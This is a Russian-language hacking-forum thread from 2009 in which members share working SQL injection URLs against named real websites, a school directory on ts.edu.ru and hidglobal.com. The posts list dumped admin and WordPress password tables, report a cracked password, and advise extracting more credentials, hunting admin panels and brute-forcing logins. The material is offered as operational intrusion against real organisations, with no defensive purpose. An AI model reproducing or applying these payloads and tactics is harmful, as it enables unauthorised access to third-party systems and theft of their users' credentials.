HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 04.02.2009, 21:56
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
С нами: 10227206

Репутация: 2163
По умолчанию

военная тайна: column_name like '%pass%'
ну или кнопкой:
Цитата:
http://ts.edu.ru/schools/region/6/?town='+or+1=(select+top+1+cast(table_name+as+char )%2bcast(column_name+as+char)+from+information_sch ema.columns+where+column_name+like+'%pass%')--
Цитата:
http://ts.edu.ru/schools/region/6/?town='+or+1=(select+top+1+password+from+users)--
 
Ответить с цитированием

  #2  
Старый 04.02.2009, 20:54
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
С нами: 10339586

Репутация: 1396


По умолчанию

2 IIAPTUZAH
Cочуствую

зы: а в Users\Admin_Site разве ничего нет??
как вариант - тут нет админки\пассы не в этой базе
 
Ответить с цитированием

  #3  
Старый 04.02.2009, 20:56
IIAPTUZAH
Познающий
Регистрация: 15.11.2008
Сообщений: 32
С нами: 9203303

Репутация: 22
По умолчанию

в админ сайт токо user_id прочитал это:http://forum.antichat.ru/thread30501.html Но там по дркгому и я непонял как извлекать инфу Обясните
 
Ответить с цитированием

  #4  
Старый 04.02.2009, 22:06
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
С нами: 9314306

Репутация: 325
По умолчанию

Вобщем столкнулся с интересным сайтом =) либо я где то ошибаюсь либо все так и есть! Вобщем есть SQL вот тут:

hidglobal.com/pr.php?id=-1000+UNION+SELECT+1,2,version(),4,5,6,7--
Версия mysql выше 5 и с помощью SIPT4 я прочитал бд(вот самое интересное):

Database [admin]
Table [administrators ( Rows)]
username
password
Database [blogpriv]
Table [wp_users ( Rows)]
ID
user_login
user_pass
user_nicename
user_email
user_url
user_registered
user_activation_key
user_status
display_name
Database [event_breakouts]
Table [admin ( Rows)]
admin_id
admin_name
admin_pwd
Database [hid_productselector]
Table [hid_administrator ( Rows)]
administrator_username
administrator_password
нашел админку блога(вордпресс) /blog/wp_login.php из бд прочитал пасс, сбрутил его, ввел, а он не подходит =) и больше ничего из админок не нашел! =\ только еще что то order.hidglobal.com но и тут неудача =\ помогите разобраться, а то уже голова кругом идет
 
Ответить с цитированием

  #5  
Старый 04.02.2009, 22:11
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

https://orders.hidcorp.com/ a tuta?
 
Ответить с цитированием

  #6  
Старый 04.02.2009, 22:18
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
С нами: 9314306

Репутация: 325
По умолчанию

Gorev ошибся в написании... вот это второй адресс что я нашел но толку ноль! =\ не подходит ничего или я уже ошибаюсь где то! =\
 
Ответить с цитированием

  #7  
Старый 04.02.2009, 22:35
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
С нами: 10227206

Репутация: 2163
По умолчанию

там много бд, на хосте не один сайт=> вывод напрашивается сам собой
тащи пароли с table_schema=version()
 
Ответить с цитированием

  #8  
Старый 04.02.2009, 22:41
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
С нами: 9314306

Репутация: 325
По умолчанию

l1ght сейчас гляну еще раз... через 2ip когда смотрел он сказал что всего 3 сайта там =) сейчас перепроверю

Проверил 3 сайта лан буду сейчас еще копаться может что найду

Последний раз редактировалось Kraneg; 04.02.2009 в 22:48..
 
Ответить с цитированием

  #9  
Старый 04.02.2009, 22:54
pinky07
Познающий
Регистрация: 02.01.2009
Сообщений: 55
С нами: 9133681

Репутация: 90
По умолчанию

2Kraneg там на сайте basic авторизация, паролей в бд нет
 
Ответить с цитированием

  #10  
Старый 05.02.2009, 04:45
BloodyMessage
Участник форума
Регистрация: 20.08.2006
Сообщений: 199
С нами: 10380780

Репутация: 131
По умолчанию

Kraneg, http://www.hidglobal.com/admin/ - доступ запрещен, значит там что то есть интересное аля админка. Поищи.
https://orders.hidcorp.com/ - тут похоже авторизация по .htaccess, значит или брут или голяк.
2ip - часто меня подводит, он скорей как дополнительная помощь
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...
×

ESCROW ADMIN PANEL

Загрузка...
Загрузка...